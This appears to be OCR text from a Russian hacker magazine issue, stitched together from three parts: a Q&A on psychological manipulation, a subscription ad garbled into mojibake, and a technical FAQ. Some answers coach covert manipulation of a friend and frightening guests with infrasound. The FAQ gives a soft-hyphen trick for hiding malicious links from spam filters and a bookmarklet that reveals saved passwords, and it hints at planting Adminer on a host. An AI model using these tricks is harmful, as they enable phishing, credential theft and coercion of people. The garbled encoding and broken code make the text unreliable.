чувствуешь по этому поводу, — и ее мани-
пуляция провалится. Другое дело, если бы 
она прямо сказала: «Отложи, пожалуйста, 
свои покупки, так как мне очень нужен 
новый мобильный», — это была бы уже не 
манипуляция, и риск получить отказ повы-
шается. Почему так происходит? Потому что 
манипуляция задействует бессознательные 
мотивы (жажда удовольствия, выгоды, стыд, 
вина, желание быть или казаться значимым, 
страх), которые мы в большинстве случаев 
не осознаем; тем, чего мы не осознаем, 
соответственно, управлять не можем. А 
прямая просьба обычно анализируется, и на 
основе анализа принимается решение «да» 
или «нет».
Кстати, некоторые люди чисто из-за природ-
ной вредности не могут выполнить прось-
бу и делают назло (и за этим тоже стоят 
сверхсознательные стереотипы), поэтому 
добиться от них чего-либо можно, только 
обойдя все эти пороги, то есть применив 
манипуляцию.

Q: Q: На какую удочку меня может 
поймать манипулятор?
A:A: Основная удочка — это перечисленные 
выше бессознательные мотивы, неумение 
отказать, наши чувства (и даже радость). 
Приведем некоторые примеры:
• Провокационный посыл. Суть состоит в 
том, чтобы, не высказывая прямой просьбы, 
все-таки заставить человека сделать то, что 
самим делать лень или просто нет возмож-
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ности. Такие посылы побуждают к действию. 
Например: «Пивчанский уже охладился?». 
Если вы вдвоем находитесь в комнате, 
то собеседнику нужно пойти на кухню и 
посмотреть, охладилось ли пиво, а заодно и 
разлить его в кружки и принести эту кружку 
тебе. Игра строится на неумении отказать и 
автоматичности действий;
• Игра на поддержании образа. Если ты 
покажешь свое стремление быть порядоч-
ным человеком, тобой легко можно мани-
пулировать, намекнув на непорядочность 
каких-то конкретных твоих действий; если 
везде стремишься быть первым, лучшим, то 
руководить твоими действиями можно через 
похвалу/осуждение, а также с помощью 
сравнения тебя с другими «конкурентами»; 
хочешь быть удобным для всех и не достав-
лять никому неудобств — всегда найдутся 
желающие «поиграть» с тобой через обиду, 
наигранное огорчение и т.п.;
• Доведение до белого каления. Провокации 
на агрессию и потерю самоконтроля — 
любимая техника манипуляторов. Одним 
только вопросом «Чего вы нервничаете?», 
повторяемым периодически, практически 
любого человека можно довести до бешен-
ства. Если ты начнешь оправдываться или 
доказывать, что не нервничаешь — считай, 
что тебя словили на удочку. И тогда, когда 
ты действительно будешь подобен разъя-
ренному льву, манипулятор спокойно скажет: 
«Сегодня, видимо, не твой день. Остынь, 
успокойся, потом поговорим» или «В таком 
состоянии вряд ли ты способен здраво 
мыслить. Предлагаю перенести решение 
вопроса». Облом. Да и перед остальными 
присутствующими, если они есть рядом, 
ты будешь выглядеть не в лучшем свете, и 
потом, скорее всего, будет очень стыдно, а 
манипулятор будет иметь психологическое 
преимущество перед «таким нервным и 
неуравновешенным» оппонентом;

• Игра на жадности или любопытстве (в 
сочетании с автоматическими бездумными 
действиями). Сколько e-mail’ов, страниц 
в социальных сетях, сайтов и паролей 
в целом было уведено благодаря любо-
пытству и склонности на шару получить, 
например, приватный софт, если говорить 
о Сети. В реале такие схемы тоже процве-
тают: тебе предоставили скидку 50% — и ты 
приобретаешь низкокачественный товар, 
который тебе даже не был нужен; многие 
люди, соблазнившись на низкие цены 
на жилье, вложили деньги в строящиеся 
комплексы и уже по 5-10 лет ждут момента 
сдачи дома.

Q:Q: Как понять, что мной
манипулируют?
A: A: Если интуиция и чувствование у тебя 
развиты не очень хорошо, приучи себя 
в процессе общения с людьми задавать 
самому себе вопросы, которые помогут тебе 
обнаружить попытку манипуляции:
• не уделяет ли собеседник слишком много 
внимания моей личности: семье, увлечени-
ям, особенностям характера, насущным про-
блемам, авторитетам?
• не слишком ли часто сводит разговор к 
одной и той же теме?
• не слишком ли пытается понять мою моти-
вацию и проверить возможности?
• не пытается ли преувеличить или преу-
меньшить значимость каких-либо моих дей-
ствий или статус?
• не нагнетает ли ситуацию, используя дра-
матизацию и «разводя» меня на эмоции?
• не торопит ли меня в принятии решений?
• не использует ли слишком много специ-
фических понятий и слов там, где можно без 
них обойтись?
• не пробует ли использовать техники под-
стройки: дыхание, поведение, жестикуля-
ция?

• не пытается ли вызвать у меня тревогу, 
беспокойство или панику?
• не «слишком» ли внимательно он умеет 
слушать, производя при этом чересчур хоро-
шее впечатление?

Q: Q: Я краем уха слышал о страте-
гиях защиты от манипуляций. Что 
это за стратегии?
A:A: Основных, глобальных стратегии две 
(остальные базируются на них):
1. Стратегия разрушения. Ты ломаешь 
все попытки манипулятора заставить тебя 
сделать то, чего ты делать не собирался. В 
ответ на манипуляцию ты начинаешь актив-
ную деятельность, которая разрушает все 
попытки на начальном этапе. Пример:
• Мы все знаем, что этот источник информа-
ции — самый надежный и объективный.
• Давай уточним, откуда получена инфор-
мация о том, что этот источник — самый 
надежный и объективный. Мне нужны кон-
кретные доказательства.
2. Стратегия перехвата контроля. При 
попытке манипуляции тобой ты не только 
игнорируешь эту попытку, но и сам в ответ 
пытаешься провести манипулятивные дей-
ствия. Например, манипулятор пытается 
склонить тебя к своим условиям, которые 
тебе невыгодны. Ты соглашаешься, гово-
ришь, что не имеешь ничего против, но 
только вот в ближайшее время у тебя никак 
не получается сотрудничать именно на этих 
условиях по определенным причинам, но ты 
охотно согласился бы на вот такие условия, 
что непременно приведет к взаимной выго-
де и успешному сотрудничеству. Другими 
словами, корректируешь разговор таким 
образом, чтобы он максимально соответ-
ствовал твоим требованиям.

Q:Q: А как предохраниться от мани-
пуляций? Есть конкретные советы?



A:A: Да, вот они:
1. По возможности избегай манипулятора. 
Несмотря на твою серьезную подготовку и 
устойчивость, все равно есть манипуляторы, 
у которых «кукловодство» в крови, а если 
учесть еще и его натасканность в подобных 
вопросах, то твои шансы хоть и неплохие, 
но все-таки ниже. Если контакт неизбежен, 
старайся не смотреть в глаза, не вовле-
каться эмоционально, не углубляться в его 
доводы — концентрируйся на своих инте-
ресах.
2. Позиция стороннего наблюдателя. При 
взаимодействии очень желательно нахо-
диться в этой роли, так как она дает тебе 
возможность почти объективно смотреть 
и на свои, и на партнерские позиции. При 
этом, когда манипулятор постарается увести 
разговор в сторону, ты сразу это заметишь 
и сможешь остановить его отрезвляющим 
вопросом: «К чему Вы ведете?». Или про-
сто извинись и выйди под любым пред-
логом; после возвращения вы так или 
иначе вынуждены будете вернуться к сути 
разговора.
3. Держи темп. У манипуляторов есть одна 
хитрость — они выливают массу инфор-
мации (убеждений, примеров) слишком 
быстро. Пока человек пытается все это 
осмыслить, он находится в состоянии огра-
ниченного сознания, и ему в это время 
можно внушать что угодно, склонять к 
невыгодным решениям. Поэтому твоя зада-
ча, несмотря на попытки красноречивца 
перегрузить твое сознание и получить 
управление над ним, держать собственный 
ритм приема и обработки информации. В 
крайнем случае вежливо попроси говорить 
помедленнее, повторить последнюю мысль, 
возьми тайм-аут на детальное обдумывание 
или попроси всю информацию в распеча-
танном виде.
4. Отход от стереотипного мышления. Ты 
ведь уже знаешь, что большинство мани-
пуляторов играют именно на стереотипах? 
Используя функцию «так принято считать», 
от человека можно добиться много чего. 
На время взаимодействия с человеком, от 
которого гипотетически можно ждать попы-
ток манипулирования, отключи эту функцию 
морали: проанализируй предложение с 
позиции «аморального и алчного типа», а 
когда поймешь, выгодно ли оно для тебя, 
тогда можно свести результат к приемлемым 
моральным нормам.
5. Прочь образы! Манипуляторы очень 
любят использовать метафоры, например, 
сравнить развитие своей компании с мор-
ским приливом, пытаясь убедить тебя, что 
упадок фирмы вот-вот закончится и опять 
наступит благополучный период. Но поду-
май логически, как законы морских при-
ливов соотносятся с ведением бизнеса? В 
общем, никак, и все совпадения случайны. 
Поэтому не утешай себя призрачными при-

ливами моря, иначе рискуешь быть затяну-
тым на самое дно.
Здесь еще вспоминаются манипуляторы, 
которые пытаются хитрить, юлить, впарить 
свой товар (услугу) во что бы то ни стало. 
Отличительная черта — это неискренняя 
улыбка и вечно бегающие глаза. Конечно, с 
такими лучше не иметь дела, но если все же 
приходится, то используй жесткую и четкую 
постановку вопросов и условий: «Конкретно 
назовите поставщиков трафика», «Мне 
нужна полная стоимость с учетом НДС, 
сроки, условия и подробная статистика по 
расходу каждый месяц», «Что подразумева-
ется под этим пунктом договора? Давайте 
четко пропишем это, чтобы не возникало 
двояких толкований».
6. Выход из контекста. Манипуляция всегда 
строится на каком-либо контексте: искус-
ственно создается проблема, рамки, в кото-
рых эта проблема актуальна, и предлагается 
решение. Если ты выйдешь в метаконтекст, 
то легко поймешь, что проблемы, в общем, 
и не существует, или же она легко решается 
другим, более выгодным для тебя способом.

 Q:Q: А если мною уже начали мани-
пулировать, а я это обнаружил 
только в процессе?

A: A: Хорошо, если ты все-таки опознал 
попытки манипуляции, ведь лучше поздно, 
чем никогда. Мало одного только осознания, 
что тобой манипулируют, нужно уметь краси-
во выйти из этой ситуации, не ударив лицом 
в грязь.
Вот несколько конкретных рекомендаций.
1. Его действия:
• цинично или глупо шутит, язвит;
• проявляет высокомерие и пренебрежи-
тельность;
• подчеркнуто скучает или показывает неза-
интересованность;
• ускоряет темп, пытаясь застать тебя вра-
сплох.
Твои действия:
• игнорируй манипуляцию и продолжай 
гнуть свою линию;
• сделай паузу и покровительственно 
улыбнись (как взрослый улыбается в ответ 
на попытки ребенка обмануть его), давая 
понять, что ты распознал его манипуляцию;
• верни его к реальности вопросом: «Мы 
собрались для того, чтобы обсудить серьез-
ные вопросы по работе. Может, этим и 
займемся?».
2. Его действия:
• пытается сыграть на эмоциях (вина, стыд, 
мораль);
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• пробует застать врасплох и смутить;
• уводит предмет обсуждения в сторону;
• использует моменты, о которых вы не 
договаривались.
Твои действия:
• прикидываешься, что ничего не понял и 
просишь объяснить;
• возвращаешь разговор в начало и разви-
ваешь его заново;
• попытку его манипуляции интерпретиру-
ешь как какое-то недоразумение, которое вы 
сейчас собираетесь устранить.
3. Его действия:
• отказывается понимать твою позицию;
• настаивает на своем и не воспринимает 
никаких доводов;
• прикидывается глупым.
Твои действия:
• не отвечая на его манипуляцию, предлага-
ешь ему посмотреть на ситуацию под другим 
углом: со своей стороны или со стороны 
другого человека. И тогда, помимо раскрыв-
шейся манипуляции, также станет демон-
стративно видно его глупое поведение.
4. Его действия:
• уводит разговор в сторону;
• перебивает, не слушает;
• пытается навязать что-то, от чего ты отка-
зываешься, запугивает.
Твои действия:
• включаешь «заезженную пластинку»: тупо 
повторяешь тот момент, в решении которого 
вы так и не пришли к договоренности. Это 
некрасиво с точки зрения привычных норм 
поведения, но очень эффективно с точки 
зрения достижения своей цели.

5. Его действия:
• троллинг (манипуляции) не прекращает 
даже в ответ на предыдущие способы, опи-
санные выше.
Твои действия:
• прерываешь разговор (так четко и скажи: 
«Я вынужден прервать разговор». Это нужно 
для того, чтобы не смешивать личностные 
разборки с предметом обсуждения);
• называешь причину прерванного раз-
говора (не стесняйся быть прямолинейным, 
главное — соблюдай дипломатичность и 
правила приличия);
• еще раз напоминаешь суть обсуждаемого 
вопроса и предлагаешь вернуться к его 
решению. В конце уточняешь, согласен ли 
он (манипулятор) вернуться к основным 
вопросам или нет? Другими словами, ты 
показываешь, что видишь манипуляцию и 
готов отказаться от переговоров, если они 
перестали таковыми являться. Здесь не 
бойся ничего потерять: если манипулятор 
неисправим, то, прервав переговоры, ты 
потеряешь возможную призрачную выгоду, 
не прервав, помимо потери кандидата, ты 
потеряешь еще и массу времени, нервов и 
здоровья.

Q: Q: Хочу проникнуть в бессозна-
тельное своего товарища. Как это 
сделать?
A: A: Опасный ты организм! Поскольку сегодня 
мы не можем оставить без ответа ни один 
вопрос, вот тебе рецепт: у каждого человека 
усваивание поступающей информации про-
исходит с определенной скоростью, если 

ее превысить, тогда сознание перестанет 
справляться с обработкой новых данных, 
и они прямиком попадут в подсознание. 
Самый простой пример: раскачиваешься на 
стуле, периодически прикасаясь к одежде 
«жертвы», быстро перещелкиваешь треки 
на музыкальном центре, сбивчиво рас-
сказываешь «захватывающую» историю, 
даешь противоречивые советы и указания, 
просишь посчитать что-нибудь сложное в 
уме. В то время, когда он пытается найти в 
твоих действиях разумное зерно и уследить 
за всеми обрушивающимися кинестетиче-
скими, аудиальными и дигитальными сигна-
лами, ослабляется сопротивление защитных 
фильтров сознания, и любая вредоносная 
идея может достигнуть ядра личности.
Кстати, на методе перегрузки информации 
построен эффект «25-го кадра», а также 
некоторые НЛП-техники и приемы скорост-
ного обучения иностранному языку.

Q:Q: Тут прикупил себе крутой 
домашний кинотеатр, но знакомая 
(психолог) говорит, что просмотр 
фильмов в конфигурации 5.1 
может вызывать паническую тре-
вогу. Так ли это?
A:A: Почему бы не провести эксперимент? 
Пригласи друзей на просмотр какого-нибудь 
мажорного блокбастера. Для примера возь-
мем «Темного рыцаря». Во время сеанса 
дождись взрыва Готтемской больницы, 
затем с пульта ресивера поддай басов, 
выкрути на максимум регулятор громкости 
на сабе, и низкочастотные волны в бук-
вальном смысле начнут рассекать воздух и 
парализовывать зрителей страхом. Дело в 
том, что в природе звуки из инфрадиапазо-
на (16-100 Гц) довольно редки (как правило, 
возникают при землетрясении, цунами и 
т.д.), мы «не запрограммированы» прини-
мать их как безопасные, поэтому организм 
очень чутко воспринимает все, что нахо-
дится в диапазоне воспроизводимых частот 
сабвуфера. В итоге гости получат яростную, 
ничем не сдерживаемую атаку на психику 
сверхнизкими звуковыми частотами. Так что 
твоя знакомая права.
Hint: чтобы усилить воздействие, басовый 
регистр нужно сделать более глубоким, 
напористым и собранным. Для этого поставь 
сабвуфер на антивибрационные шипы 
(например, Soundcare SuperSpike 1) и под-
ключи его хорошим силовым кабелем (таким 
как Furutech G-314Ag).

Q:Q: Мне кажется, что по телеку 
реклама иногда звучит гром-
че, чем основная программа. 
Очередной трюк манипуляторов?
A:A: Да, это техническая уловка. Начнем с 
того, что выделяют два вида уровня звука: 
объективный (его можно увидеть на экра-
не звукоинженера) и субъективный (то, 
как его воспринимает человеческий слух). 
Звукоинженеры/звукорежиссеры делают так, 
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что субъективно рекламный ролик звучит 
громче, но при этом, если провести замеры 
с помощью контрольного оборудования, 
окажется, что объективный уровень громко-
сти находится в пределах нормы, и никаких 
нарушений нет. Например, они могут под-
жать динамический диапазон звуковой 
дорожки, чтобы усреднить (сгладить) звуко-
вые колебания. Рекламный блок зазвучит 
громче, оставаясь в рамках технического 
регламента. Когда идет борьба за внимание 
и кошелек потребителя, в ход пускаются все 
возможные способы…

Q: Q: Ну, про телевизионное зом-
бирование все давно понятно, а 
применяются ли на радио какие-
нибудь манипулятивные способы 
подачи информации?

A: A: Конечно. Один из самых распростра-
ненных манипулятивных приемов — под-
пороговая подача информации. DJ меняет 
музыкальную тему в тот момент, когда 
нужно зачитать материал, на который 
требуется обратить внимание аудитории. 
Непроизвольная реакция радиослушателя 
на смену фонового сопровождения повы-
шает пропускную способность смыслового 
канала.
В тему про радио. 30 октября 1938 года в 
США произошел интересный феномен. 
Постановка радиоспектакля по роману 
Герберта Уэллса «Война миров» оказалась 
настолько реалистичной, что внезапно 
вызвала массовую панику, охватившую 
более миллиона жителей. Горожане повери-
ли в нашествие марсиан на Землю и стали 
спешно собираться в партизанские отряды, 

генералы дозванивались до президента (ох 
уж эти янки). Как удалось добиться такого 
резонанса авторам сценария? Довольно 
просто. Действие было перенесено в 
Америку и построено в виде репортажа с 
места событий. Для большей убедительно-
сти время от времени радиоинсценировка 
прерывалась записанными ранее прогноза-
ми погоды и музыкой.

Q:Q: А есть ли у манипулятора сла-
бые места?
A: A: Постоянный контроль над собой и 
«жертвой», страх поддаться своим чувствам 
и проникнуться переживаниями адресата 
влияния делают манипулятора уязвимым. 
Эксплуатируя эту брешь, можно разрушать 
манипулятивную деятельность (причем даже 
неосознанно).

Q: Q: Я считаю, что манипулировать 
другими — это плохо, но при этом 
хочу уметь противостоять чужими 
манипуляциям. Это возможно?
A:A: В первую очередь давай разберемся в 
смыслах. Манипуляцию можно сравнить 
со шприцом, которым можно спасти жизнь 
человеку, а можно лишить его жизни — 
все зависит от наполнения. Манипуляцию 
можно применять во благо человеку, если 
он сам не понимает, что идет к краю про-
пасти, а можно подтолкнуть его к краю этой 
же пропасти. Так что, если душа твоя чиста, 
и ты тяготеешь к доброте — юзай навыки 
манипулирования в полезных для всех 
целях. Но пока не научишься манипулиро-
вать другими, сам ты просто не сможешь 
интуитивно распознать чужие попытки 
играть с тобой; разве что опознаешь очень 
толстый троллинг по внешним признакам.
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Q: Q: Иногда сложно заставить сде-
лать одного человека что-либо 
даже с помощью манипуляций. 
Как некоторым удается управлять 
целыми массами людей?
A: A: Для этого обязательно нужен опыт, трени-
ровка на единичных экземплярах. В некото-
рой степени управлять массами даже легче, 
ведь там, где умный человек засомневается, 
почувствовав попытку манипуляции, в толпе 
сработает эффект заражения — если все 
кричат «Урааа!», то тебе, скорее всего, тоже 
захочется что-то закричать. И не для того, 
чтобы не выпасть из мейнстрима, а потому 
что так прикольнее, и ощущается единство, 
энергетическая подзарядка от совершае-
мого вместе действия, если ты, конечно, не 
заядлый нонконформист (не радуйся, ими 
управлять еще проще, чем конформистами). 
А в остальном методы используются прак-
тически те же: игра на чувствах, желаниях, 
страхах, жадности. Из специфических мето-
дов управления народной массой можно 
отметить архетипические мотивы (см. раз-
дел «Использование архетипов, символов и 
мифов для манипуляций бессознательным» 
в статье «PR-инъекции в сознание народа» 

в ][ №4 за 2010 год), когда эксплуатирует-
ся, например, образ героя-спасителя или 
Великого отца. При этом задеваются глу-
бинные личностные пласты, которые могут 
не сработать при попытке тет-а-тет манипу-
ляции, поскольку будут выглядеть слишком 
пафосно и неконгруэнтно. Чаще всего мани-
пулирование массами используется в поли-
тике, рекламе, СМИ, PR, имиджмейкинге.

Q: Q: ОК, я уже почти профессио-
нальный манипулятор. А можно ли 
манипулировать собой?
A:A: Представь себе, можно, и очень эффектив-
но. Засиделся на одной должности уже пару 
лет, и ничто не мотивирует тебя двигаться 
дальше? Найди конкурента, соперника — так 
дела пойдут гораздо быстрее. Молниеносно 
тратишь деньги на ерунду, еле дотягивая до 
следующей зарплаты? Поставь перед собой 
крупную материальную цель (новый смартфон 
или ноут, а еще лучше — автомобиль), и с 
удивлением заметишь, что 80% твоих затрат 
не были обязательными. Хочешь выучить 
английский, но не хватает усидчивости и тер-
пения? Познакомься с симпатичной англи-
чанкой или поезжай на лондонскую диско-
теку. Все дело в ударной мотивации. Кстати, 

еще один маленький секрет: ставь цель чуть 
выше, чем планируешь — тогда 100% достиг-
нешь необходимого уровня.

Эпилог
Это далеко не полный список вопро-
сов. Чтобы ответить на все, не хватит и 
нескольких номеров журнала, потому что 
манипулирование — это не сухая наука, а 
чувствование, навык, интуиция, быстрая 
ориентация, другими словами — отдельная 
черта характера. Изучив даже всю теорию, 
ты не можешь быть уверен, что станешь 
блестящим кукловодом, потому что в этом 
деле нужна практика, очень много практики. 
Будут промахи, возможно, будут провалы, не 
стоит отчаиваться — нужно анализировать 
ошибки и пробовать снова, учитывая их, 
и так до тех пор, пока практика не станет 
автоматическим навыком, осознанной при-
вычкой. Чтобы было легче, найди образ 
идеального манипулятора (среди знакомых 
или в литературе, кино, среди шоуменов) и 
пробуй «слизать» его состояния, когда он 
проводит свои махинации. Запасись тер-
пением, мудростью, дерзай! И, конечно же, 
читай ][ — здесь эта тема поднимется еще 
не раз :).z

Манипулятор — всегда хороший актер
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ÕÂÀÒÈÒ ÏÅÐÅÏËÀ×ÈÂÀÒÜ Â ÊÈÎÑÊÀÕ!
ÑÝÊÎÍÎÌÜ 800 ÐÓÁËÅÉ ÍÀ ÃÎÄÎÂÎÉ ÏÎÄÏÈÑÊÅ!

Фотомастерская 
+ DVD

Хулиган 
+ DVD

PC Игры 
+ 2 DVD

Mountain Bike Digital Photo 
+ DVD

T3 Вышиваю 
крестиком

Onboard Ski Pass

ÁÓÄÜ ÕÈÒÐÛÌ!

Ãîäîâàÿ ïîäïèñêà ïî öåíå 2200 ðóá.
(ВКЛЮЧАЯ ДОСТАВКУ)

ЧЕМ РЕКОМЕНДУЕМАЯ РОЗНИЧНАЯ ЦЕНА (250 РУБЛЕЙ ЗА НОМЕР)

Ýòî íà 23% äåøåâëå,

ПОЛУЧИ В ПОДАРОК ОДИН ЖУРНАЛ ДРУГОЙ ТЕМАТИКИ!

Îôîðìèâ ãîäîâóþ ïîäïèñêó â ðåäàêöèè, 
òû ñìîæåøü áåñïëàòíî ïîëó÷èòü îäèí ñâåæèé 
íîìåð ëþáîãî æóðíàëà, èçäàâàåìîãî êîìïàíèåé «Ãåéì Ëýíä»:

ßÍÂÀÐÑÊÈÉ ÍÎÌÅÐ — ÏÎÄÏÈÑÀÂØÈÑÜ ÄÎ 30 ÍÎßÁÐß,
ÔÅÂÐÀËÜÑÊÈÉ ÍÎÌÅÐ — ÏÎÄÏÈÑÀÂØÈÑÜ ÄÎ 31 ÄÅÊÀÁÐß,
ÌÀÐÒÎÂÑÊÈÉ ÍÎÌÅÐ — ÏÎÄÏÈÑÀÂØÈÑÜ ÄÎ 31 ßÍÂÀÐß.

È ÝÒÎ ÅÙÅ ÍÅ ÂÑÅ!

+ÁÅÑÏËÀÒÍÀß ÏÎÄÏÈÑÊÀ ÍÀ ËÞÁÎÉ ÆÓÐÍÀË ÍÀ ÎÄÈÍ ÌÅÑßÖ 

ВСЕГО 191 РУБЛЕЙ ЗА НОМЕР
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ПРИЛОЖЕНИЕ:
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(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)

ÂÍÈÌÀÍÈÅ! ÂÒÎÐÎÅ ÑÏÅÖÏÐÅÄËÎÆÅÍÈÅ! 
ИССЛЕДУЕМ ОШИБКИ В БАНКОВСКОМ СОФТЕ СТР. 50

РЕКОМЕНДОВАННАЯ 

ЦЕНА: 210 р.
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АТАКА
CISCO

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
ÍÀ  ÌÀÐØÐÓÒÈÇÀÒÎÐÀÕ

Ñ ÏÎÌÎÙÜÞ TCL 
 ÑÒÐ. 64

ÂÍÓÒÐÅÍÍÎÑÒÈ
ÒÐÎßÍÀ ZEUS
METERPRETER Â ÄÅËÅ
CHAOS CONSTRUCTIONS 2010:
ÊÀÊ ÝÒÎ ÁÛËÎ
ÓßÇÂÈÌÎÑÒÈ Â ÄÐÀÉÂÅÐÀÕ 
ÏÐÎÀÊÒÈÂÍÛÕ ÇÀÙÈÒ

 

×ÒÎ ÍÀÌ 
ÄÀÑÒ

HTML5?
ÑÒÐ. 26

ÇÀ 12 ÌÅÑßÖÅÂ 3890 ÐÓÁËÅÉ (24 ÍÎÌÅÐÀ) 

ÇÀ 6 ÌÅÑßÖÅÂ 2205 ÐÓÁËÅÉ (12 ÍÎÌÅÐÎÂ)
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Q: При анализе вредоносных файлов 
часто оказывается, что они зашифрова-
ны. Можно ли как-то упростить процесс 
расшифровки, не прибегая к помощи 
отладчика?
A: Ни для кого не секрет, что с помощью 
криптования малварь защищает себя от обна-
ружения и отладки. Утилиты, используемые ви-
русными аналитиками, давно начали обрастать 
функционалом для расшифровки исполняемых 
файлов. Возьмем, например, популярный 
hex-редактор Hiew. Если знать алгоритм для 
дешифрования файла, можно легко настроить 
Hiew для получения декриптованного бинар-
ника. Чтобы с его помощью расшифровать дан-
ные, необходимо выделить блок зашифрован-
ных данных с помощью клавиши «*», а потом 
нажать Alt+F3 (CryBlk). В появившемся окне 
необходимо описать алгоритм распаковки. Тут 
надо иметь в виду, что Hiew поддерживает ог-
раниченный набор инструкций, список которых 
можно поглядеть в разделе «Crypt commands» 
в справочном файле. Написав код декриптора 
и нажав <F7>, мы получим расшифрованные 
данные. Часто малварь состоит из нескольких 
файлов, в этом случае код расшифровщика 
можно сохранить в файл и использовать для 
деобфускации остальных файлов. Для этого 
достаточно вернуться обратно в редактор вы-
зовом <Alt+F3>, после чего нажать <F9>. Часто 
вирусы шифруют себя с помощью простого XOR 

и других типовых алгоритмов. В этом случае 
можно также воспользоваться встроенными 
в Hiew готовыми инструментами для расшиф-
ровки. Необходимо перейти в режим правки 
клавишей <F3>, нажать <F8> и указать ключ 
шифрования.

Q: У меня возникла такая проблема: в 
Linux необходимо объединить несколь-
ко существующих разделов в один без 
потери информации. Подскажи какое-
нибудь изящное решение.
A: Есть несколько вариантов для решения 
этой задачи. Один из них — aufs2. Эта файло-
вая система реализует каскадно-объединен-
ное монтирование для файловых систем. По 
умолчанию в состав ядра она не включена, 
так что для использования придется его пе-
рекомпилировать. Далее необходимо скачать 
с официального сайта (aufs.sourceforge.net) 
userspace-утилиты для работы с данной ФС. 
Для примера возьмем два раздела: старый с 
кучей скачанных торрентов (/media/torrents) 
и новый на недавно приобретенном винте 
(/media/new_storage). Для того, чтобы эти два 
раздела были видны как один, выполняем 
следующую команду:

# sudo mount -t aufs none /media/

storage -o br:/media/torrents=rw:/

media/new_storage=rw,create=mfs,sum

Для большего понимания пройдемся по 
параметрам:
br: ветка1=rw: ветка2=rw:… — список веток 
или, другими словами, смонтированных раз-
делов, которые будут объединены в один;
create=mfs — главный параметр, указываю-
щий на то, что для записи будет выбираться 
та ветка, которая имеет больше свободного 
места; sum — указывает, что в утилитах типа 
df или pydf будет выводиться суммарный 
размер разделов и свободного места на них 
для объединенного раздела.
В /etc/fstab такая запись должна иметь вид:

none /media/storage aufs br:/

media/torrents=rw:/media/new_

storage=rw,create=mfs,sum 0 0

Если заморачиваться с компиляцией ядра 
неохота, всегда можно воспользоваться 
mhddfs, файловой системой пространства 
пользователя, работающей через fuse. 
Монтирование с ее помощью производится 
следующей командой:

# sudo mhddfs /media/torrents,/

media/new_storage /media/storage 

-o default_permissions,allow_other

Какой из способов использовать — решать 
тебе.

UNITS

 faq
united?
Есть вопросы — присылай 
на faq@real.xakep.ru

  Антон Жуков 
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Q: Ковыряю полноэкранное DirectX-
приложение. Как обычно, ставлю бряки 
на определенные функции. Однако при 
срабатывании брейкпоинта не могу 
переключиться на отладчик, видно 
только замершее окно приложения. 
Что делать? Как можно отладить такую 
программу?
A: Самый первый и самый простой вариант, 
который приходит в голову — удаленная от-
ладка. В этом случае приложение будет вы-
полняться на одном компьютере, а отладчик 
будет работать на другом. В таких ситуациях 
это особенно полезный прием. Покажу, как 
его провернуть  на примере WinDbg.
Итак, запускаем WinDbg и выбираем бинар-
ник. Отладчик запускает его и останавлива-
ется, ожидая дальнейших команд. В команд-
ной строке набираем «.server tcp:port=1111» 
(или любой порт на твой выбор). После чего 
мы можем удаленно отлаживать прило-
жение с другой машины. Для этого, опять 
же, надо запустить WinDbg, выбрать «File 

 Connect to Remote Session...», ввести 
«Connection String» вида «tcp:server=Server
,port=Socket», где в качестве Server указать 
адрес машины с отлаживаемым приложени-
ем, а в качестве Socket — выбранный ранее 
порт сервера (в нашем случае — 1111). Все, 
после этого можно удаленно отлаживать 
приложение.

Q: Подскажи какую-нибудь свежую 
технику для обфускации URL, которую 
пока знают не все спам-фильтры.
A: Одним из последних трендов является 
использование так называемого «мягкого 
дефиса» — Soft Hyphen (SHY). Этот специ-
альный символ отображается так же, как и 
обычный дефис, но имеет некоторые осо-
бенности в обработке. В стандарте HTML4 
мягкий дефис проставляется в странице с 
помощью слова «&shy;», но обрабатывается 
разными браузерами  и почтовыми про-
граммами по-разному. В этом и заключается 

трюк. Многие браузеры и почтовые клиенты 
его игнорируют. Поэтому в любой линк мож-
но вставить символы «&shy;», и они вообще 
не будут восприниматься.  Обфусцирован-
ная с помощью «&shy;» ссылка отобра-
жается пользователю как самый обычный 
URL-адрес, который ведет на зловредную 
веб-страницу. Но при этом спам-фильтры 
пока как-то вяло реагируют на подобный 
трюк.

Q: Уж очень увесист этот всеми люби-
мый phpMyAdmin. Есть ли другой более 
простой и шустрый инструмент для 
управления MySQL на хостинге, кото-
рый также можно залить на сервер как 
PHP-сценарий?
A: Я давно использую и всем часто рекомен-
дую Adminer (это бывший phpMinAdmin), 
который также написан на PHP и поз-
воляет выполнять огромное количество 
действий с MySQL-базой данных. Скрипт 
распространяется в виде единственного 
PHP-файла, который быстро заливается на 
любой хостинг. Так что развернуть Adminer  
на удаленной системе гораздо проще, чем 
phpMyAdmin.  Понимаешь, куда я клоню? :). 
Более того, на сайте www.adminer.org до-
ступны версии не только для «майскуля», но 
еще и PostgreSQL, SQLite, MS SQL и Oracle.

Q: Как проще всего проверить, подде-
рживает ли удаленный веб-сервер SSL?
A: Проще всего использовать готовый 
сценарий gotssl (mjc.me/?p=188). Это очень 
простой скрипт, в котором используется 
класс socket. Автор проштудировал RFC 
SSL протокола и с помощью Wireshark'а 
посмотрел, что передается между браузером 
и веб-сервером в случае SSL-подключения. 
В результате получился сценарий, который 
отправляет специальную последователь-
ность «SSLv2 Client Hello data» и проверяет 
наличие TLS-заголовка в ответе. Работает 
gotssl из командной строки:

bash# ./gotssl.py google.com 443

             -{ GotSSL? v0.1 }-

[*] Checking for SSL on google.

com:443

[!] Yes! google.com:443 does 

GotSSL.

Q: Браузер сохранил пароль для неко-
торого сайта и подставляет автомати-
чески в форме авторизации (но в виде 
звездочек). Как его вытащить?
A: Для любого браузера есть специальные 
утилиты, позволяющие извлечь сохра-
ненные пароли. Но существует еще один 
путь — воспользоваться специальным 
JS-скриптом, который прямо на странице 
отобразит данные, спрятанные под «*». 
Трюк на самом деле старый, но многими 
почему-то забытый. Итак, открываем стра-
ницу, на которой сохранен пароль, и далее 
копируем в адресную строку браузера 
следующий код:

javascript:(function(){var 

s,F,j,f,i; s = ""; F = document.

forms; for(j=0; j<F.length; ++j) { 

f = F[j]; for (i=0; i<f.length; ++i) 

{ if (f[i].type.toLowerCase() == 

"password") s += f[i].value + "n"; 

} } if (s) alert("<span id="IL_AD7" 

class="IL_AD">Passwords</span> in 

forms on this page:nn" + s); else 

alert("There are no passwords in 

forms on this page.");})();

Отправляем запрос и получаем страницу с 
сохраненными паролями, которые отобра-
жаются в открытом виде.

Q: Хочу прикрутить к своему блогу 
продвинутую систему комментариев. 
